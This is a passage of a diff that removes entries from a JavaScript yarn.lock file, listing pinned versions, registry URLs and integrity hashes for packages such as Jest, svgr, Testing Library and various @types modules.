-  resolved "https://registry.yarnpkg.com/@jest/transform/-/transform-24.9.0.tgz#4ae2768b296553fadab09e9ec119543c90b16c56"
-  integrity sha512-TcQUmyNRxV94S0QpMOnZl0++6RMiqpbH/ZMccFB/amku6Uwvyb1cjYX7xkp5nGNkbX4QPH/FcB6q1HBTHynLmQ==
-  dependencies:
-    "@babel/core" "^7.1.0"
-    "@jest/types" "^24.9.0"
-    babel-plugin-istanbul "^5.1.0"
-    chalk "^2.0.1"
-    convert-source-map "^1.4.0"
-    fast-json-stable-stringify "^2.0.0"
-    graceful-fs "^4.1.15"
-    jest-haste-map "^24.9.0"
-    jest-regex-util "^24.9.0"
-    jest-util "^24.9.0"
-    micromatch "^3.1.10"
-    pirates "^4.0.1"
-    realpath-native "^1.1.0"
-    slash "^2.0.0"
-    source-map "^0.6.1"
-    write-file-atomic "2.4.1"
-
-"@jest/types@^24.3.0", "@jest/types@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/@jest/types/-/types-24.9.0.tgz#63cb26cb7500d069e5a389441a7c6ab5e909fc59"
-  integrity sha512-XKK7ze1apu5JWQ5eZjHITP66AX+QsLlbaJRBGYr8pNzwcAE2JVkwnf0yqjHTsDRcjR0mujy/NmZMXw5kl+kGBw==
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    "@types/istanbul-reports" "^1.1.1"
-    "@types/yargs" "^13.0.0"
-
-"@jest/types@^25.5.0":
-  version "25.5.0"
-  resolved "https://registry.yarnpkg.com/@jest/types/-/types-25.5.0.tgz#4d6a4793f7b9599fc3680877b856a97dbccf2a9d"
-  integrity sha512-OXD0RgQ86Tu3MazKo8bnrkDRaDXXMGUqd+kTtLtK1Zb7CRzQcaSRPPPV37SvYTdevXEBVxe0HXylEjs8ibkmCw==
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    "@types/istanbul-reports" "^1.1.1"
-    "@types/yargs" "^15.0.0"
-    chalk "^3.0.0"
-
-"@jest/types@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.yarnpkg.com/@jest/types/-/types-26.6.2.tgz#bef5a532030e1d88a2f5a6d933f84e97226ed48e"
-  integrity sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    "@types/istanbul-reports" "^3.0.0"
-    "@types/node" "*"
-    "@types/yargs" "^15.0.0"
-    chalk "^4.0.0"
-
-"@json-rpc-tools/types@^1.6.1":
-  version "1.7.6"
-  resolved "https://registry.yarnpkg.com/@json-rpc-tools/types/-/types-1.7.6.tgz#5abd5fde01364a130c46093b501715bcce5bdc0e"
-  integrity sha512-nDSqmyRNEqEK9TZHtM15uNnDljczhCUdBmRhpNZ95bIPKEDQ+nTDmGMFd2lLin3upc5h2VVVd9tkTDdbXUhDIQ==
-  dependencies:
-    keyvaluestorage-interface "^1.0.0"
-
-"@json-rpc-tools/utils@1.6.1":
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/@json-rpc-tools/utils/-/utils-1.6.1.tgz#26e37d0fc4522721158d0f6057e136daa8813263"
-  integrity sha512-cNwP4QapAls+xATU8zLLqPYa9qCbgwEyWEK7vE1oH91b3LfbUYwHtiWZ1+rv0X/mh/9cWNTo2Oi2Sah/QX0WwA==
-  dependencies:
-    "@json-rpc-tools/types" "^1.6.1"
-
-"@metamask/safe-event-emitter@^2.0.0":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@metamask/safe-event-emitter/-/safe-event-emitter-2.0.0.tgz#af577b477c683fad17c619a78208cede06f9605c"
-  integrity sha512-/kSXhY692qiV1MXu6EeOZvg5nECLclxNXcKCxJ3cXQgYuRymRHpdx/t7JXfsK+JLjwA1e1c1/SBrlQYpusC29Q==
-
-"@mrmlnc/readdir-enhanced@^2.2.1":
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/@mrmlnc/readdir-enhanced/-/readdir-enhanced-2.2.1.tgz#524af240d1a360527b730475ecfa1344aa540dde"
-  integrity sha512-bPHp6Ji8b41szTOcaP63VlnbbO5Ny6dwAATtY6JTjh5N2OLrb5Qk/Th5cRkRQhkWCt+EJsYrNB0MiL+Gpn6e3g==
-  dependencies:
-    call-me-maybe "^1.0.1"
-    glob-to-regexp "^0.3.0"
-
-"@n1ru4l/push-pull-async-iterable-iterator@^2.1.4":
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/@n1ru4l/push-pull-async-iterable-iterator/-/push-pull-async-iterable-iterator-2.1.4.tgz#a90225474352f9f159bff979905f707b9c6bcf04"
-  integrity sha512-qLIvoOUJ+zritv+BlzcBMePKNjKQzH9Rb2i9W98YXxf/M62Lye8qH0peyiU8yJ1tL0kfulWi31BoK10E6BKJeA==
-
-"@nodelib/fs.scandir@2.1.5":
-  version "2.1.5"
-  resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5"
-  integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==
-  dependencies:
-    "@nodelib/fs.stat" "2.0.5"
-    run-parallel "^1.1.9"
-
-"@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2":
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b"
-  integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==
-
-"@nodelib/fs.stat@^1.1.2":
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-1.1.3.tgz#2b5a3ab3f918cca48a8c754c08168e3f03eba61b"
-  integrity sha512-shAmDyaQC4H92APFoIaVDHCx5bStIocgvbwQyxPRrbUY20V1EYTbSDchWbuwlMG3V17cprZhA6+78JfB+3DTPw==
-
-"@nodelib/fs.walk@^1.2.3":
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.7.tgz#94c23db18ee4653e129abd26fb06f870ac9e1ee2"
-  integrity sha512-BTIhocbPBSrRmHxOAJFtR18oLhxTtAFDAvL8hY1S3iU8k+E60W/YFs4jrixGzQjMpF4qPXxIQHcjVD9dz1C2QA==
-  dependencies:
-    "@nodelib/fs.scandir" "2.1.5"
-    fastq "^1.6.0"
-
-"@pedrouid/environment@^1.0.1":
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/@pedrouid/environment/-/environment-1.0.1.tgz#858f0f8a057340e0b250398b75ead77d6f4342ec"
-  integrity sha512-HaW78NszGzRZd9SeoI3JD11JqY+lubnaOx7Pewj5pfjqWXOEATpeKIFb9Z4t2WBUK2iryiXX3lzWwmYWgUL0Ug==
-
-"@pedrouid/iso-crypto@^1.0.0":
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/@pedrouid/iso-crypto/-/iso-crypto-1.1.0.tgz#3fb4050ea99f2f8ee41ba8661193c0989c815c95"
-  integrity sha512-twi+tW67XT0BSOv4rsegnGo4TQMhfFswS/GY3KhrjFiNw3z9x+cMkfO+itNe1JZghQxsxHuhifvfsnG814g1hQ==
-  dependencies:
-    "@pedrouid/iso-random" "^1.1.0"
-    aes-js "^3.1.2"
-    enc-utils "^3.0.0"
-    hash.js "^1.1.7"
-
-"@pedrouid/iso-random@^1.1.0":
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/@pedrouid/iso-random/-/iso-random-1.2.1.tgz#55178d9a2e7897b0f630dd1b4be76bc8460242d7"
-  integrity sha512-C35NqYMmLsg61WDiEup4OwjRhgfZIcK4BL+Qg49xowHUJ+f7/LFZCO+TGuQqoXFAj1beKIOpUN33f0fqV7zneQ==
-  dependencies:
-    "@pedrouid/environment" "^1.0.1"
-    enc-utils "^3.0.0"
-    randombytes "^2.1.0"
-
-"@ramp-network/ramp-instant-sdk@^2.2.0":
-  version "2.4.3"
-  resolved "https://registry.yarnpkg.com/@ramp-network/ramp-instant-sdk/-/ramp-instant-sdk-2.4.3.tgz#a200ccf1cd5df7645a4afdfa9a1178aaea446a44"
-  integrity sha512-CBFCnlMviq0aHGtbhsw1lHB7SU0rz61WpB3uq/Jn+mjXxTs62IkLsUjAhngqitguB2cNaFA/GMT6x9MM78WK2A==
-  dependencies:
-    body-scroll-lock "^2.6.4"
-
-"@sheerun/mutationobserver-shim@^0.3.2":
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/@sheerun/mutationobserver-shim/-/mutationobserver-shim-0.3.3.tgz#5405ee8e444ed212db44e79351f0c70a582aae25"
-  integrity sha512-DetpxZw1fzPD5xUBrIAoplLChO2VB8DlL5Gg+I1IR9b2wPqYIca2WSUxL5g1vLeR4MsQq1NeWriXAVffV+U1Fw==
-
-"@svgr/babel-plugin-add-jsx-attribute@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-4.2.0.tgz#dadcb6218503532d6884b210e7f3c502caaa44b1"
-  integrity sha512-j7KnilGyZzYr/jhcrSYS3FGWMZVaqyCG0vzMCwzvei0coIkczuYMcniK07nI0aHJINciujjH11T72ICW5eL5Ig==
-
-"@svgr/babel-plugin-remove-jsx-attribute@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-4.2.0.tgz#297550b9a8c0c7337bea12bdfc8a80bb66f85abc"
-  integrity sha512-3XHLtJ+HbRCH4n28S7y/yZoEQnRpl0tvTZQsHqvaeNXPra+6vE5tbRliH3ox1yZYPCxrlqaJT/Mg+75GpDKlvQ==
-
-"@svgr/babel-plugin-remove-jsx-empty-expression@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-4.2.0.tgz#c196302f3e68eab6a05e98af9ca8570bc13131c7"
-  integrity sha512-yTr2iLdf6oEuUE9MsRdvt0NmdpMBAkgK8Bjhl6epb+eQWk6abBaX3d65UZ3E3FWaOwePyUgNyNCMVG61gGCQ7w==
-
-"@svgr/babel-plugin-replace-jsx-attribute-value@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-4.2.0.tgz#310ec0775de808a6a2e4fd4268c245fd734c1165"
-  integrity sha512-U9m870Kqm0ko8beHawRXLGLvSi/ZMrl89gJ5BNcT452fAjtF2p4uRzXkdzvGJJJYBgx7BmqlDjBN/eCp5AAX2w==
-
-"@svgr/babel-plugin-svg-dynamic-title@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-4.3.3.tgz#2cdedd747e5b1b29ed4c241e46256aac8110dd93"
-  integrity sha512-w3Be6xUNdwgParsvxkkeZb545VhXEwjGMwExMVBIdPQJeyMQHqm9Msnb2a1teHBqUYL66qtwfhNkbj1iarCG7w==
-
-"@svgr/babel-plugin-svg-em-dimensions@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-4.2.0.tgz#9a94791c9a288108d20a9d2cc64cac820f141391"
-  integrity sha512-C0Uy+BHolCHGOZ8Dnr1zXy/KgpBOkEUYY9kI/HseHVPeMbluaX3CijJr7D4C5uR8zrc1T64nnq/k63ydQuGt4w==
-
-"@svgr/babel-plugin-transform-react-native-svg@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-4.2.0.tgz#151487322843359a1ca86b21a3815fd21a88b717"
-  integrity sha512-7YvynOpZDpCOUoIVlaaOUU87J4Z6RdD6spYN4eUb5tfPoKGSF9OG2NuhgYnq4jSkAxcpMaXWPf1cePkzmqTPNw==
-
-"@svgr/babel-plugin-transform-svg-component@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-4.2.0.tgz#5f1e2f886b2c85c67e76da42f0f6be1b1767b697"
-  integrity sha512-hYfYuZhQPCBVotABsXKSCfel2slf/yvJY8heTVX1PCTaq/IgASq1IyxPPKJ0chWREEKewIU/JMSsIGBtK1KKxw==
-
-"@svgr/babel-preset@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.yarnpkg.com/@svgr/babel-preset/-/babel-preset-4.3.3.tgz#a75d8c2f202ac0e5774e6bfc165d028b39a1316c"
-  integrity sha512-6PG80tdz4eAlYUN3g5GZiUjg2FMcp+Wn6rtnz5WJG9ITGEF1pmFdzq02597Hn0OmnQuCVaBYQE1OVFAnwOl+0A==
-  dependencies:
-    "@svgr/babel-plugin-add-jsx-attribute" "^4.2.0"
-    "@svgr/babel-plugin-remove-jsx-attribute" "^4.2.0"
-    "@svgr/babel-plugin-remove-jsx-empty-expression" "^4.2.0"
-    "@svgr/babel-plugin-replace-jsx-attribute-value" "^4.2.0"
-    "@svgr/babel-plugin-svg-dynamic-title" "^4.3.3"
-    "@svgr/babel-plugin-svg-em-dimensions" "^4.2.0"
-    "@svgr/babel-plugin-transform-react-native-svg" "^4.2.0"
-    "@svgr/babel-plugin-transform-svg-component" "^4.2.0"
-
-"@svgr/core@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.yarnpkg.com/@svgr/core/-/core-4.3.3.tgz#b37b89d5b757dc66e8c74156d00c368338d24293"
-  integrity sha512-qNuGF1QON1626UCaZamWt5yedpgOytvLj5BQZe2j1k1B8DUG4OyugZyfEwBeXozCUwhLEpsrgPrE+eCu4fY17w==
-  dependencies:
-    "@svgr/plugin-jsx" "^4.3.3"
-    camelcase "^5.3.1"
-    cosmiconfig "^5.2.1"
-
-"@svgr/hast-util-to-babel-ast@^4.3.2":
-  version "4.3.2"
-  resolved "https://registry.yarnpkg.com/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-4.3.2.tgz#1d5a082f7b929ef8f1f578950238f630e14532b8"
-  integrity sha512-JioXclZGhFIDL3ddn4Kiq8qEqYM2PyDKV0aYno8+IXTLuYt6TOgHUbUAAFvqtb0Xn37NwP0BTHglejFoYr8RZg==
-  dependencies:
-    "@babel/types" "^7.4.4"
-
-"@svgr/plugin-jsx@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.yarnpkg.com/@svgr/plugin-jsx/-/plugin-jsx-4.3.3.tgz#e2ba913dbdfbe85252a34db101abc7ebd50992fa"
-  integrity sha512-cLOCSpNWQnDB1/v+SUENHH7a0XY09bfuMKdq9+gYvtuwzC2rU4I0wKGFEp1i24holdQdwodCtDQdFtJiTCWc+w==
-  dependencies:
-    "@babel/core" "^7.4.5"
-    "@svgr/babel-preset" "^4.3.3"
-    "@svgr/hast-util-to-babel-ast" "^4.3.2"
-    svg-parser "^2.0.0"
-
-"@svgr/plugin-svgo@^4.3.1":
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/@svgr/plugin-svgo/-/plugin-svgo-4.3.1.tgz#daac0a3d872e3f55935c6588dd370336865e9e32"
-  integrity sha512-PrMtEDUWjX3Ea65JsVCwTIXuSqa3CG9px+DluF1/eo9mlDrgrtFE7NE/DjdhjJgSM9wenlVBzkzneSIUgfUI/w==
-  dependencies:
-    cosmiconfig "^5.2.1"
-    merge-deep "^3.0.2"
-    svgo "^1.2.2"
-
-"@svgr/webpack@4.3.3":
-  version "4.3.3"
-  resolved "https://registry.yarnpkg.com/@svgr/webpack/-/webpack-4.3.3.tgz#13cc2423bf3dff2d494f16b17eb7eacb86895017"
-  integrity sha512-bjnWolZ6KVsHhgyCoYRFmbd26p8XVbulCzSG53BDQqAr+JOAderYK7CuYrB3bDjHJuF6LJ7Wrr42+goLRV9qIg==
-  dependencies:
-    "@babel/core" "^7.4.5"
-    "@babel/plugin-transform-react-constant-elements" "^7.0.0"
-    "@babel/preset-env" "^7.4.5"
-    "@babel/preset-react" "^7.0.0"
-    "@svgr/core" "^4.3.3"
-    "@svgr/plugin-jsx" "^4.3.3"
-    "@svgr/plugin-svgo" "^4.3.1"
-    loader-utils "^1.2.3"
-
-"@testing-library/dom@^6.12.2":
-  version "6.16.0"
-  resolved "https://registry.yarnpkg.com/@testing-library/dom/-/dom-6.16.0.tgz#04ada27ed74ad4c0f0d984a1245bb29b1fd90ba9"
-  integrity sha512-lBD88ssxqEfz0wFL6MeUyyWZfV/2cjEZZV3YRpb2IoJRej/4f1jB0TzqIOznTpfR1r34CNesrubxwIlAQ8zgPA==
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-    "@sheerun/mutationobserver-shim" "^0.3.2"
-    "@types/testing-library__dom" "^6.12.1"
-    aria-query "^4.0.2"
-    dom-accessibility-api "^0.3.0"
-    pretty-format "^25.1.0"
-    wait-for-expect "^3.0.2"
-
-"@testing-library/dom@^7.28.1":
-  version "7.31.2"
-  resolved "https://registry.yarnpkg.com/@testing-library/dom/-/dom-7.31.2.tgz#df361db38f5212b88555068ab8119f5d841a8c4a"
-  integrity sha512-3UqjCpey6HiTZT92vODYLPxTBWlM8ZOOjr3LX5F37/VRipW2M1kX6I/Cm4VXzteZqfGfagg8yXywpcOgQBlNsQ==
-  dependencies:
-    "@babel/code-frame" "^7.10.4"
-    "@babel/runtime" "^7.12.5"
-    "@types/aria-query" "^4.2.0"
-    aria-query "^4.2.2"
-    chalk "^4.1.0"
-    dom-accessibility-api "^0.5.6"
-    lz-string "^1.4.4"
-    pretty-format "^26.6.2"
-
-"@testing-library/jest-dom@^5.11.4":
-  version "5.14.1"
-  resolved "https://registry.yarnpkg.com/@testing-library/jest-dom/-/jest-dom-5.14.1.tgz#8501e16f1e55a55d675fe73eecee32cdaddb9766"
-  integrity sha512-dfB7HVIgTNCxH22M1+KU6viG5of2ldoA5ly8Ar8xkezKHKXjRvznCdbMbqjYGgO2xjRbwnR+rR8MLUIqF3kKbQ==
-  dependencies:
-    "@babel/runtime" "^7.9.2"
-    "@types/testing-library__jest-dom" "^5.9.1"
-    aria-query "^4.2.2"
-    chalk "^3.0.0"
-    css "^3.0.0"
-    css.escape "^1.5.1"
-    dom-accessibility-api "^0.5.6"
-    lodash "^4.17.15"
-    redent "^3.0.0"
-
-"@testing-library/react@^11.1.0":
-  version "11.2.7"
-  resolved "https://registry.yarnpkg.com/@testing-library/react/-/react-11.2.7.tgz#b29e2e95c6765c815786c0bc1d5aed9cb2bf7818"
-  integrity sha512-tzRNp7pzd5QmbtXNG/mhdcl7Awfu/Iz1RaVHY75zTdOkmHCuzMhRL83gWHSgOAcjS3CCbyfwUHMZgRJb4kAfpA==
-  dependencies:
-    "@babel/runtime" "^7.12.5"
-    "@testing-library/dom" "^7.28.1"
-
-"@testing-library/user-event@^12.1.8":
-  version "12.8.3"
-  resolved "https://registry.yarnpkg.com/@testing-library/user-event/-/user-event-12.8.3.tgz#1aa3ed4b9f79340a1e1836bc7f57c501e838704a"
-  integrity sha512-IR0iWbFkgd56Bu5ZI/ej8yQwrkCv8Qydx6RzwbKz9faXazR/+5tvYKsZQgyXJiwgpcva127YO6JcWy7YlCfofQ==
-  dependencies:
-    "@babel/runtime" "^7.12.5"
-
-"@types/aria-query@^4.2.0":
-  version "4.2.1"
-  resolved "https://registry.yarnpkg.com/@types/aria-query/-/aria-query-4.2.1.tgz#78b5433344e2f92e8b306c06a5622c50c245bf6b"
-  integrity sha512-S6oPal772qJZHoRZLFc/XoZW2gFvwXusYUmXPXkgxJLuEk2vOt7jc4Yo6z/vtI0EBkbPBVrJJ0B+prLIKiWqHg==
-
-"@types/babel__core@^7.1.0":
-  version "7.1.14"
-  resolved "https://registry.yarnpkg.com/@types/babel__core/-/babel__core-7.1.14.tgz#faaeefc4185ec71c389f4501ee5ec84b170cc402"
-  integrity sha512-zGZJzzBUVDo/eV6KgbE0f0ZI7dInEYvo12Rb70uNQDshC3SkRMb67ja0GgRHZgAX3Za6rhaWlvbDO8rrGyAb1g==
-  dependencies:
-    "@babel/parser" "^7.1.0"
-    "@babel/types" "^7.0.0"
-    "@types/babel__generator" "*"
-    "@types/babel__template" "*"
-    "@types/babel__traverse" "*"
-
-"@types/babel__generator@*":
-  version "7.6.2"
-  resolved "https://registry.yarnpkg.com/@types/babel__generator/-/babel__generator-7.6.2.tgz#f3d71178e187858f7c45e30380f8f1b7415a12d8"
-  integrity sha512-MdSJnBjl+bdwkLskZ3NGFp9YcXGx5ggLpQQPqtgakVhsWK0hTtNYhjpZLlWQTviGTvF8at+Bvli3jV7faPdgeQ==
-  dependencies:
-    "@babel/types" "^7.0.0"
-
-"@types/babel__template@*":
-  version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@types/babel__template/-/babel__template-7.4.0.tgz#0c888dd70b3ee9eebb6e4f200e809da0076262be"
-  integrity sha512-NTPErx4/FiPCGScH7foPyr+/1Dkzkni+rHiYHHoTjvwou7AQzJkNeD60A9CXRy+ZEN2B1bggmkTMCDb+Mv5k+A==
-  dependencies:
-    "@babel/parser" "^7.1.0"
-    "@babel/types" "^7.0.0"
-
-"@types/babel__traverse@*", "@types/babel__traverse@^7.0.6":
-  version "7.11.1"
-  resolved "https://registry.yarnpkg.com/@types/babel__traverse/-/babel__traverse-7.11.1.tgz#654f6c4f67568e24c23b367e947098c6206fa639"
-  integrity sha512-Vs0hm0vPahPMYi9tDjtP66llufgO3ST16WXaSTtDGEl9cewAl3AibmxWw6TINOqHPT9z0uABKAYjT9jNSg4npw==
-  dependencies:
-    "@babel/types" "^7.3.0"
-
-"@types/bn.js@^4.11.3":
-  version "4.11.6"
-  resolved "https://registry.yarnpkg.com/@types/bn.js/-/bn.js-4.11.6.tgz#c306c70d9358aaea33cd4eda092a742b9505967c"
-  integrity sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg==
-  dependencies:
-    "@types/node" "*"
-
-"@types/eslint-visitor-keys@^1.0.0":
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/@types/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz#1ee30d79544ca84d68d4b3cdb0af4f205663dd2d"
-  integrity sha512-OCutwjDZ4aFS6PB1UZ988C4YgwlBHJd6wCeQqaLdmadZ/7e+w79+hbMUFC1QXDNCmdyoRfAFdm0RypzwR+Qpag==
-
-"@types/glob@^7.1.1":
-  version "7.1.3"
-  resolved "https://registry.yarnpkg.com/@types/glob/-/glob-7.1.3.tgz#e6ba80f36b7daad2c685acd9266382e68985c183"
-  integrity sha512-SEYeGAIQIQX8NN6LDKprLjbrd5dARM5EXsd8GI/A5l0apYI1fGMWgPHSe4ZKL4eozlAyI+doUE9XbYS4xCkQ1w==
-  dependencies:
-    "@types/minimatch" "*"
-    "@types/node" "*"
-
-"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0":
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz#4ba8ddb720221f432e443bd5f9117fd22cfd4762"
-  integrity sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==
-
-"@types/istanbul-lib-report@*":
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686"
-  integrity sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==
-  dependencies:
-    "@types/istanbul-lib-coverage" "*"
-
-"@types/istanbul-reports@^1.1.1":
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz#e875cc689e47bce549ec81f3df5e6f6f11cfaeb2"
-  integrity sha512-P/W9yOX/3oPZSpaYOCQzGqgCQRXn0FFO/V8bWrCQs+wLmvVVxk6CRBXALEvNs9OHIatlnlFokfhuDo2ug01ciw==
-  dependencies:
-    "@types/istanbul-lib-coverage" "*"
-    "@types/istanbul-lib-report" "*"
-
-"@types/istanbul-reports@^3.0.0":
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz#9153fe98bba2bd565a63add9436d6f0d7f8468ff"
-  integrity sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==
-  dependencies:
-    "@types/istanbul-lib-report" "*"
-
-"@types/jest@*":
-  version "26.0.23"
-  resolved "https://registry.yarnpkg.com/@types/jest/-/jest-26.0.23.tgz#a1b7eab3c503b80451d019efb588ec63522ee4e7"
-  integrity sha512-ZHLmWMJ9jJ9PTiT58juykZpL7KjwJywFN3Rr2pTSkyQfydf/rk22yS7W8p5DaVUMQ2BQC7oYiU3FjbTM/mYrOA==
-  dependencies:
-    jest-diff "^26.0.0"
-    pretty-format "^26.0.0"
-
-"@types/json-schema@^7.0.3", "@types/json-schema@^7.0.5":
-  version "7.0.7"
-  resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.7.tgz#98a993516c859eb0d5c4c8f098317a9ea68db9ad"
-  integrity sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA==
-
-"@types/json5@^0.0.29":
-  version "0.0.29"
-  resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
-  integrity sha1-7ihweulOEdK4J7y+UnC86n8+ce4=
-
-"@types/minimatch@*":
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-3.0.4.tgz#f0ec25dbf2f0e4b18647313ac031134ca5b24b21"
-  integrity sha512-1z8k4wzFnNjVK/tlxvrWuK5WMt6mydWWP7+zvH5eFep4oj+UkrfiJTRtjCeBXNpwaA/FYqqtb4/QS4ianFpIRA==
-
-"@types/node@*", "@types/node@>=6":
-  version "15.12.2"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-15.12.2.tgz#1f2b42c4be7156ff4a6f914b2fb03d05fa84e38d"
-  integrity sha512-zjQ69G564OCIWIOHSXyQEEDpdpGl+G348RAKY0XXy9Z5kU9Vzv1GMNnkar/ZJ8dzXB3COzD9Mo9NtRZ4xfgUww==
-
-"@types/node@11.11.6":
-  version "11.11.6"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-11.11.6.tgz#df929d1bb2eee5afdda598a41930fe50b43eaa6a"
-  integrity sha512-Exw4yUWMBXM3X+8oqzJNRqZSwUAaS4+7NdvHqQuFi/d+synz++xmX3QIf+BFqneW8N31R8Ky+sikfZUXq07ggQ==
-
-"@types/parse-json@^4.0.0":
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0"
-  integrity sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==
-
-"@types/pbkdf2@^3.0.0":
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/@types/pbkdf2/-/pbkdf2-3.1.0.tgz#039a0e9b67da0cdc4ee5dab865caa6b267bb66b1"
-  integrity sha512-Cf63Rv7jCQ0LaL8tNXmEyqTHuIJxRdlS5vMh1mj5voN4+QFhVZnlZruezqpWYDiJ8UTzhP0VmeLXCmBk66YrMQ==
-  dependencies:
-    "@types/node" "*"
-
-"@types/prop-types@*":
-  version "15.7.3"
-  resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7"
-  integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==
-
-"@types/q@^1.5.1":
-  version "1.5.4"
-  resolved "https://registry.yarnpkg.com/@types/q/-/q-1.5.4.tgz#15925414e0ad2cd765bfef58842f7e26a7accb24"
-  integrity sha512-1HcDas8SEj4z1Wc696tH56G8OlRaH/sqZOynNNB+HF0WOeXPaxTtbYzJY2oEfiUxjSKjhCKr+MvR7dCHcEelug==
-
-"@types/react@^16.9.19":
-  version "16.14.8"
-  resolved "https://registry.yarnpkg.com/@types/react/-/react-16.14.8.tgz#4aee3ab004cb98451917c9b7ada3c7d7e52db3fe"
-  integrity sha512-QN0/Qhmx+l4moe7WJuTxNiTsjBwlBGHqKGvInSQCBdo7Qio0VtOqwsC0Wq7q3PbJlB0cR4Y4CVo1OOe6BOsOmA==
-  dependencies:
